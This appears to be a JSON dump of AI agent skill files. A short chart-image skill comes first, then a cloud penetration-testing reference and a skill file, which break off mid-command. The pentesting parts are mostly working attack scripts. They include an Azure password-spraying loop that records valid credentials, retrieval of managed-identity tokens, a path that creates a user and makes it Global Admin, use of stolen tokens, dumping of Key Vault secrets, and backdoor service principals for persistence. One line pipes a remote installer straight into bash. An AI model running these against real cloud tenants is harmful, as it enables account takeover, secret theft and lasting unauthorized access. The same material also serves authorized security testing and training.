Docker deployments:**\n- ✅ **No native compilation** - Uses Sharp with prebuilt binaries (unlike `canvas` which requires build tools)\n- ✅ **No Puppeteer/browser** - Pure Node.js, no Chrome download, no headless browser overhead\n- ✅ **Lightweight** - ~15MB total dependencies vs 400MB+ for Puppeteer-based solutions\n- ✅ **Fast cold starts** - No browser spinup delay, generates charts in <500ms\n- ✅ **Works offline** - No external API calls (unlike QuickChart.io)\n\n## Setup (one-time)\n\n```bash\ncd \"${CLAUDE_SKILL_DIR}/scripts\" && npm install\n```\n\n## Quick Usage\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" \\\n  --type line \\\n  --data '[{\"x\":\"10:00\",\"y\":25},{\"x\":\"10:30\",\"y\":27},{\"x\":\"11:00\",\"y\":31}]' \\\n  --title \"Price Over Time\" \\\n  --output chart.png\n```\n\nThe examples below shorten the script path to `chart.mjs`.\n\n## Chart Types\n\n### Line Chart (default)\n```bash\nnode chart.mjs --type line --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output line.png\n```\n\n### Bar Chart\n```bash\nnode chart.mjs --type bar --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output bar.png\n```\n\n### Area Chart\n```bash\nnode chart.mjs --type area --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output area.png\n```\n\n### Pie / Donut Chart\n```bash\n# Pie\nnode chart.mjs --type pie --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output pie.png\n\n# Donut (with hole)\nnode chart.mjs --type donut --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output donut.png\n```\n\n### Candlestick Chart (OHLC)\n```bash\nnode chart.mjs --type candlestick \\\n  --data '[{\"x\":\"Mon\",\"open\":100,\"high\":110,\"low\":95,\"close\":105}]' \\\n  --open-field open --high-field high --low-field low --close-field close \\\n  --title \"Stock Price\" --output candle.png\n```\n\n### Heatmap\n```bash\nnode chart.mjs --type heatmap \\\n  --data '[{\"x\":\"Mon\",\"y\":\"Week1\",\"value\":5},{\"x\":\"Tue\",\"y\":\"Week1\",\"value\":8}]' \\\n  --color-value-field value --color-scheme viridis \\\n  --title \"Activity Heatmap\" --output heatmap.png\n```\n\n### Multi-Series Line Chart\nCompare multiple trends on one chart:\n```bash\nnode chart.mjs --type line --series-field \"market\" \\\n  --data '[{\"x\":\"Jan\",\"y\":10,\"market\":\"A\"},{\"x\":\"Jan\",\"y\":15,\"market\":\"B\"}]' \\\n  --title \"Comparison\" --output multi.png\n```\n\n### Stacked Bar Chart\n```bash\nnode chart.mjs --type bar --stacked --color-field \"category\" \\\n  --data '[{\"x\":\"Mon\",\"y\":10,\"category\":\"Work\"},{\"x\":\"Mon\",\"y\":5,\"category\":\"Personal\"}]' \\\n  --title \"Hours by Category\" --output stacked.png\n```\n\n### Volume Overlay (Dual Y-axis)\nPrice line with volume bars:\n```bash\nnode chart.mjs --type line --volume-field volume \\\n  --data '[{\"x\":\"10:00\",\"y\":100,\"volume\":5000},{\"x\":\"11:00\",\"y\":105,\"volume\":3000}]' \\\n  --title \"Price + Volume\" --output volume.png\n```\n\n### Sparkline (mini inline chart)\n```bash\nnode chart.mjs --sparkline --data '[{\"x\":\"1\",\"y\":10},{\"x\":\"2\",\"y\":15}]' --output spark.png\n```\nSparklines are 80x20 by default, transparent, no axes.\n\n## Options Reference\n\n### Basic Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | Chart type: line, bar, area, point, pie, donut, candlestick, heatmap | line |\n| `--data` | JSON array of data points | - |\n| `--output` | Output file path | chart.png |\n| `--title` | Chart title | - |\n| `--width` | Width in pixels | 600 |\n| `--height` | Height in pixels | 300 |\n\n### Axis Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | Field name for X axis | x |\n| `--y-field` | Field name for Y axis | y |\n| `--x-title` | X axis label | field name |\n| `--y-title` | Y axis label | field name |\n| `--x-type` | X axis type: ordinal, temporal, quantitative | ordinal |\n| `--y-domain` | Y scale as \"min,max\" | auto |\n\n### Visual Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Line/bar color | #e63946 |\n| `--dark` | Dark mode theme | false |\n| `--svg` | Output SVG instead of PNG | false |\n| `--color-scheme` | Vega color scheme (category10, viridis, etc.) | - |\n\n### Alert/Monitor Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--show-change` | Show +/-% change annotation at last point | false |\n| `--focus-change` | Zoom Y-axis to 2x data range | false |\n| `--focus-recent N` | Show only last N data points | all |\n| `--show-values` | Label min/max peak points | false |\n\n### Multi-Series/Stacked Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--series-field` | Field for multi-series line charts | - |\n| `--stacked` | Enable stacked bar mode | false |\n| `--color-field` | Field for stack/color categories | - |\n\n### Candlestick Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--open-field` | OHLC open field | open |\n| `--high-field` | OHLC high field | high |\n| `--low-field` | OHLC low field | low |\n| `--close-field` | OHLC close field | close |\n\n### Pie/Donut Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--category-field` | Field for pie slice categories | x |\n| `--donut` | Render as donut (with center hole) | false |\n\n### Heatmap Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color-value-field` | Field for heatmap intensity | value |\n| `--y-category-field` | Y axis category field | y |\n\n### Dual-Axis Options (General)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y2-field` | Second Y axis field (independent right axis) | - |\n| `--y2-title` | Title for second Y axis | field name |\n| `--y2-color` | Color for second series | #60a5fa (dark) / #2563eb (light) |\n| `--y2-type` | Chart type for second axis: line, bar, area | line |\n\n**Example:** Revenue bars (left) + Churn area (right):\n```bash\nnode chart.mjs \\\n  --data '[{\"month\":\"Jan\",\"revenue\":12000,\"churn\":4.2},...]' \\\n  --x-field month --y-field revenue --type bar \\\n  --y2-field churn --y2-type area --y2-color \"#60a5fa\" \\\n  --y-title \"Revenue ($)\" --y2-title \"Churn (%)\" \\\n  --x-sort none --dark --title \"Revenue vs Churn\"\n```\n\n### Volume Overlay Options (Candlestick)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--volume-field` | Field for volume bars (enables dual-axis) | - |\n| `--volume-color` | Color for volume bars | #4a5568 |\n\n### Formatting Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y-format` | Y axis format: percent, dollar, compact, decimal4, integer, scientific, or d3-format string | auto |\n| `--subtitle` | Subtitle text below chart title | - |\n| `--hline` | Horizontal reference line: \"value\" or \"value,color\" or \"value,color,label\" (repeatable) | - |\n\n### Annotation Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--annotation` | Static text annotation | - |\n| `--annotations` | JSON array of event markers | - |\n\n## Alert-Style Chart (recommended for monitors)\n\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\nFor recent action only:\n```bash\nnode chart.mjs --type line --data '[hourly data...]' \\\n  --focus-recent 4 --show-change --focus-change --dark \\\n  --output recent.png\n```\n\n## Timeline Annotations\n\nMark events on the chart:\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --annotations '[{\"x\":\"14:00\",\"label\":\"News broke\"},{\"x\":\"16:30\",\"label\":\"Press conf\"}]' \\\n  --output annotated.png\n```\n\n## Temporal X-Axis\n\nFor proper time series with date gaps:\n```bash\nnode chart.mjs --type line --x-type temporal \\\n  --data '[{\"x\":\"2026-01-01\",\"y\":10},{\"x\":\"2026-01-15\",\"y\":20}]' \\\n  --output temporal.png\n```\n\nUse `--x-type temporal` when X values are ISO dates and you want spacing to reflect actual time gaps (not evenly spaced).\n\n## Y-Axis Formatting\n\nFormat axis values for readability:\n```bash\n# Dollar amounts\nnode chart.mjs --data '[...]' --y-format dollar --output revenue.png\n# → $1,234.56\n\n# Percentages (values as decimals 0-1)\nnode chart.mjs --data '[...]' --y-format percent --output rates.png\n# → 45.2%\n\n# Compact large numbers\nnode chart.mjs --data '[...]' --y-format compact --output users.png\n# → 1.2K, 3.4M\n\n# Crypto prices (4 decimal places)\nnode chart.mjs --data '[...]' --y-format decimal4 --output molt.png\n# → 0.0004\n\n# Custom d3-format string\nnode chart.mjs --data '[...]' --y-format ',.3f' --output custom.png\n```\n\nAvailable shortcuts: `percent`, `dollar`/`usd`, `compact`, `integer`, `decimal2`, `decimal4`, `scientific`\n\n## Chart Subtitle\n\nAdd context below the title:\n```bash\nnode chart.mjs --title \"MOLT Price\" --subtitle \"20,668 MOLT held\" --data '[...]' --output molt.png\n```\n\n## Theme Selection\n\nUse `--dark` for dark mode. Auto-select based on time:\n- **Night (20:00-07:00 local)**: `--dark`\n- **Day (07:00-20:00 local)**: light mode (default)\n\n## Piping Data\n\n```bash\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node chart.mjs --output out.png\n```\n\n## Custom Vega-Lite Spec\n\nFor advanced charts:\n```bash\nnode chart.mjs --spec my-spec.json --output custom.png\n```\n\n## Deliver the Image\n\nAfter generating a chart, save the PNG in the user's project (not `/tmp/`, which may get cleaned) and tell the user the file path.\nDon't just describe the chart — the whole point is the visual.\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" --type line --data '...' --output ./my-chart.png\n```\n\n**Tips:**\n- Include a brief caption saying what the chart shows\n- Use `--dark` at night or for dark-themed destinations (see Theme Selection)\n\n---\n*Updated: 2026-02-04 - Added --y-format (percent/dollar/compact/decimal4) and --subtitle*\n","frontmatter":{"name":"chart-image","version":"2.5.1","description":"Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser."},"isInternal":false,"tokens":2935,"sizeBytes":10308},{"name":"advanced-cloud-scripts.md","path":"skills/cloud-penetration-testing/references/advanced-cloud-scripts.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Advanced Cloud Pentesting Scripts\r\n\r\nReference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)\r\n\r\n## Azure Automation Runbooks\r\n\r\n### Export All Runbooks from All Subscriptions\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    mkdir .\\$subscriptionid\\\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $runbooks = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name\r\n    }\r\n    foreach($r in $runbooks){\r\n        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\\$subscriptionid\\\r\n    }\r\n}\r\n```\r\n\r\n### Export All Automation Job Outputs\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$jobout = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $jobs = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId\r\n    }\r\n    foreach($r in $jobs){\r\n        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId\r\n    }\r\n}\r\n$jobout | Out-File -Encoding ascii joboutputs.txt\r\n```\r\n\r\n## Azure Function Apps\r\n\r\n### List All Function App Hostnames\r\n\r\n```powershell\r\n$functionapps = Get-AzFunctionApp\r\nforeach($f in $functionapps){\r\n    $f.EnabledHostname\r\n}\r\n```\r\n\r\n### Extract Function App Information\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$allfunctioninfo = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $functionapps = Get-AzFunctionApp\r\n    foreach($f in $functionapps){\r\n        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter\r\n        $allfunctioninfo += $f.SiteConfig | fl\r\n        $allfunctioninfo += $f.ApplicationSettings | fl\r\n        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl\r\n    }\r\n}\r\n$allfunctioninfo\r\n```\r\n\r\n## Azure Device Code Login Flow\r\n\r\n### Initiate Device Code Login\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\" = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"resource\"  = \"https://graph.microsoft.com\"\r\n}\r\n$UserAgent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"\r\n$Headers = @{}\r\n$Headers[\"User-Agent\"] = $UserAgent\r\n$authResponse = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$authResponse\r\n```\r\n\r\nNavigate to https://microsoft.com/devicelogin and enter the code.\r\n\r\n### Retrieve Access Tokens\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\"  = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"grant_type\" = \"urn:ietf:params:oauth:grant-type:device_code\"\r\n    \"code\"       = $authResponse.device_code\r\n}\r\n$Tokens = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$Tokens\r\n```\r\n\r\n## Azure Managed Identity Token Retrieval\r\n\r\n```powershell\r\n# From Azure VM\r\nInvoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n\r\n# Full instance metadata\r\n$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n$instance\r\n```\r\n\r\n## AWS Region Iteration Scripts\r\n\r\nCreate `regions.txt`:\r\n```\r\nus-east-1\r\nus-east-2\r\nus-west-1\r\nus-west-2\r\nca-central-1\r\neu-west-1\r\neu-west-2\r\neu-west-3\r\neu-central-1\r\neu-north-1\r\nap-southeast-1\r\nap-southeast-2\r\nap-south-1\r\nap-northeast-1\r\nap-northeast-2\r\nap-northeast-3\r\nsa-east-1\r\n```\r\n\r\n### List All EC2 Public IPs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt\r\ndone < regions.txt\r\nsort -u ec2-public-ips.txt -o ec2-public-ips.txt\r\n```\r\n\r\n### List All ELB DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\n    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\ndone < regions.txt\r\nsort -u elb-public-dns.txt -o elb-public-dns.txt\r\n```\r\n\r\n### List All RDS DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt\r\ndone < regions.txt\r\nsort -u rds-public-dns.txt -o rds-public-dns.txt\r\n```\r\n\r\n### Get CloudFormation Outputs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt\r\ndone < regions.txt\r\n```\r\n\r\n## ScoutSuite jq Parsing Queries\r\n\r\n### AWS Queries\r\n\r\n```bash\r\n# Find All Lambda Environment Variables\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt\r\ndone\r\n\r\n# Find World Listable S3 Buckets\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings.\"s3-bucket-AuthenticatedUsers-read\".items[]' >> s3-buckets-world-listable.txt\r\ndone\r\n\r\n# Find All EC2 User Data\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt\r\ndone\r\n\r\n# Find EC2 Security Groups That Whitelist AWS CIDRs\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings.\"ec2-security-group-whitelists-aws\".items' >> ec2-security-group-whitelists-aws-cidrs.txt\r\ndone\r\n\r\n# Find All EC2 EBS Volumes Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt\r\ndone\r\n\r\n# Find All EC2 EBS Snapshots Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt\r\ndone\r\n```\r\n\r\n### Azure Queries\r\n\r\n```bash\r\n# List All Azure App Service Host Names\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'\r\n\r\n# List All Azure SQL Servers\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,\".database.windows.net\",\"\\n\"'\r\n\r\n# List All Azure Virtual Machine Hostnames\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,\".\",.location,\".cloudapp.windows.net\",\"\\n\"'\r\n\r\n# List Storage Accounts\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'\r\n\r\n# List Disks Encrypted with Platform Managed Keys\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = \"EncryptionAtRestWithPlatformKey\") | .name' > disks-with-pmks.txt\r\n```\r\n\r\n## Password Spraying with Az PowerShell\r\n\r\n```powershell\r\n$userlist = Get-Content userlist.txt\r\n$passlist = Get-Content passlist.txt\r\n$linenumber = 0\r\n$count = $userlist.count\r\nforeach($line in $userlist){\r\n    $user = $line\r\n    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force\r\n    $current = $linenumber + 1\r\n    Write-Host -NoNewline (\"`r[\" + $current + \"/\" + $count + \"]\" + \"Trying: \" + $user + \" and \" + $passlist[$linenumber])\r\n    $linenumber++\r\n    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)\r\n    try {\r\n        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue\r\n        Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n        Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n    }\r\n    catch {\r\n        $Failure = $_.Exception\r\n        if ($Failure -match \"ID3242\") { continue }\r\n        else {\r\n            Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt $Failure.Message\r\n            Write-Host -ForegroundColor red $Failure.Message\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n## Service Principal Attack Path\r\n\r\n```bash\r\n# Reset service principal credential\r\naz ad sp credential reset --id <app_id>\r\naz ad sp credential list --id <app_id>\r\n\r\n# Login as service principal\r\naz login --service-principal -u \"app id\" -p \"password\" --tenant <tenant ID> --allow-no-subscriptions\r\n\r\n# Create new user in tenant\r\naz ad user create --display-name <name> --password <password> --user-principal-name <upn>\r\n\r\n# Add user to Global Admin via MS Graph\r\n$Body=\"{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}\"\r\naz rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers \"Content-Type=application/json\" --body $Body\r\n```\r\n\r\n## Additional Tools Reference\r\n\r\n| Tool | URL | Purpose |\r\n|------|-----|---------|\r\n| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |\r\n| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |\r\n| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |\r\n| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |\r\n| MSOLSpray | github.com/dafthack | O365 password spraying |\r\n| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |\r\n| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |\r\n| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |\r\n| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |\r\n| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |\r\n| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |\r\n| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |\r\n| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |\r\n| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |\r\n\r\n## Vulnerable Training Environments\r\n\r\n| Platform | URL | Purpose |\r\n|----------|-----|---------|\r\n| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |\r\n| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |\r\n| Flaws Cloud | flaws.cloud | AWS CTF challenges |\r\n| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |\r\n","isInternal":false,"tokens":3247,"sizeBytes":11972},{"name":"SKILL.md","path":"skills/cloud-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/cloud-penetration-testing/SKILL.md","title":"cloud-penetration-testing","category":"anthropic-skill","format":"markdown","content":"---\nname: cloud-penetration-testing\ndescription: This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo ./aws/install\n\n# GCP CLI\ncurl https://sdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name <vault> --upn <user> --secret-permissions get list\naz keyvault secret list --vault-name <vault> --query '[].id' --output tsv\naz keyvault secret show --id <URI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name <name> --password <pass> --user-principal-name <upn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3://bucket-name/\naws s3 sync s3://bucket-name ./local-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name 